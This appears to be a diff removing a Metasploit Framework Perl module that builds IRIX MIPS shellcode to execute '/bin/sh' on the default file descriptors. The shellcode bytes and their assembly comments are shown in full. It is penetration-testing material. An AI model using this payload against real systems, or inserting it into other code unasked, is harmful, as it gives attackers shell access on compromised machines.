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-
- ##
- # This file is part of the Metasploit Framework and may be redistributed
- # according to the licenses defined in the Authors field below. In the
- # case of an unknown or missing license, this file defaults to the same
- # license as the core Framework (dual GPLv2 and Artistic). The latest
- # version of the Framework can always be obtained from metasploit.com.
- ##
-
- package Msf::Payload::irix_mips_execve;
- use strict;
- use base 'Msf::PayloadComponent::FindConnection';
-
- my $info =
- {
- 'Name' => 'Irix MIPS Execute Shell',
- 'Version' => '$Revision: 1.4 $',
- 'Description' => 'Execute a shell on the default file descriptors',
- 'Authors' => [ 'LSD [Unknown License]', ],
- 'Arch' => [ 'mips' ],
- 'Priv' => 0,
- 'OS' => [ 'irix' ],
- 'Size' => '',
- # 'Keys' => ['inetd'], # can use execve for inetd-based exploits
- };
-
- sub new {
- my $class = shift;
- my $hash = @_ ? shift : { };
- $hash = $class->MergeHash($hash, {'Info' => $info});
- my $self = $class->SUPER::new($hash, @_);
-
- $self->_Info->{'Size'} = $self->_GenSize;
- return($self);
- }
-
- sub Build {
- my $self = shift;
- return($self->Generate());
- }
-
- sub Generate {
- my $self = shift;
-
- my $shellcode =
- "\x04\x10\xff\xff". # /* bltzal $zero,<shellcode> */
- "\x24\x02\x03\xf3". # /* li $v0,1011 */
- "\x23\xff\x01\x14". # /* addi $ra,$ra,276 */
- "\x23\xe4\xff\x08". # /* addi $a0,$ra,-248 */
- "\x23\xe5\xff\x10". # /* addi $a1,$ra,-220 */
- "\xaf\xe4\xff\x10". # /* sw $a0,-220($ra) */
- "\xaf\xe0\xff\x14". # /* sw $zero,-236($ra) */
- "\xa3\xe0\xff\x0f". # /* sb $zero,-241($ra) */
- "\x03\xff\xff\xcc". # /* syscall */
- "/bin/sh";
-
- return($shellcode);
- }
-
- sub _GenSize {
- my $self = shift;
- my $bin = $self->Generate();
- return(length($bin));
- }
-
- 1;
-